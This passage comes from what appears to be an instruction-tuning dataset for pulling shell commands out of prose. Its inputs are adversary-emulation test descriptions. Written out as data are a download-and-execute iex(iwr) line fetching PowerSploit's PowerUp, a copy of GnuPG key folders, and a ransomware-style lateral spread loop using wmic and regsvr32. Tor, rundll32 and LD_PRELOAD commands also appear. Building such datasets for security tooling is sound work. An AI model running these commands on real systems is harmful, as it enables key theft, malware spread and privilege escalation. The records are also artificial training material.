logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For background onion routing functionality, execute the following sequence which launches Tor for 60 seconds:\ninvoke-expression 'cmd /c start powershell -Command {cmd /c \"#{TorExe}\"}'\nsleep -s 60\nstop-process -name \"tor\" | out-null\n",
    "output": "{\"command_list\": [\"invoke-expression 'cmd /c start powershell -Command {cmd /c \\\"#{TorExe}\\\"}'\\nsleep -s 60\\nstop-process -name \\\"tor\\\" | out-null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves creating a staging folder and copying GnuPG directories with this rsync command: mkdir #{output_folder}\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\;\nexit 0\n",
    "output": "{\"command_list\": [\"mkdir #{output_folder}\\nfind #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \\\\;\\nexit 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate MAZE ransomware's propagation, this script checks computer connectivity and copies a binary file to each reachable machine while logging results, via the command:\n$machine_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105MachineList.txt\"\n$offline_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105OfflineHosts.txt\"\n$completed_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\"\nforeach ($machine in get-content -path \"$machine_list\")\n{if (test-connection -Count 1 -computername $machine -quiet) \n{cmd /c copy \"#{binary_file}\" \"\\\\$machine\\#{remote_drive_letter}$#{exe_remote_folder}\"\necho $machine >> \"$completed_list\"\nwmic /node: \"$machine\" process call create \"regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}\"}\nelse\n{echo $machine >> \"$offline_list\"}}\n",
    "output": "{\"command_list\": [\"$machine_list = \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1105MachineList.txt\\\"\\n$offline_list = \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1105OfflineHosts.txt\\\"\\n$completed_list = \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1105CompletedHosts.txt\\\"\\nforeach ($machine in get-content -path \\\"$machine_list\\\")\\n{if (test-connection -Count 1 -computername $machine -quiet) \\n{cmd /c copy \\\"#{binary_file}\\\" \\\"\\\\\\\\$machine\\\\#{remote_drive_letter}$#{exe_remote_folder}\\\"\\necho $machine >> \\\"$completed_list\\\"\\nwmic /node: \\\"$machine\\\" process call create \\\"regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}\\\"}\\nelse\\n{echo $machine >> \\\"$offline_list\\\"}}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    In this test, which follows typical Gamarue tradecraft, a DLL file with a .init extension is executed via the following command: rundll32.exe #{dll_file},krnl, triggering a Windows pop-up when the 'krnl' function is called.",
    "output": "{\"command_list\": [\"rundll32.exe #{dll_file},krnl\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry can be edited to restrict Control Panel access through Group Policy with the command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoControlPanel /t REG_DWORD /d 1 /f. Keep in mind that some policy changes may not apply until after a system restart.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v NoControlPanel /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test demonstrates how bash can load a shared object library through the LD_PRELOAD environment variable with the command: LD_PRELOAD=#{path_to_shared_library} ls",
    "output": "{\"command_list\": [\"LD_PRELOAD=#{path_to_shared_library} ls\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To edit the UFW rules file, append a comment and verify its presence with the following command: echo \"# THIS IS A COMMENT\" >> /etc/ufw/user.rules\ngrep \"# THIS IS A COMMENT\" /etc/ufw/user.rules",
    "output": "{\"command_list\": [\"echo \\\"# THIS IS A COMMENT\\\" >> /etc/ufw/user.rules\\ngrep \\\"# THIS IS A COMMENT\\\" /etc/ufw/user.rules\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
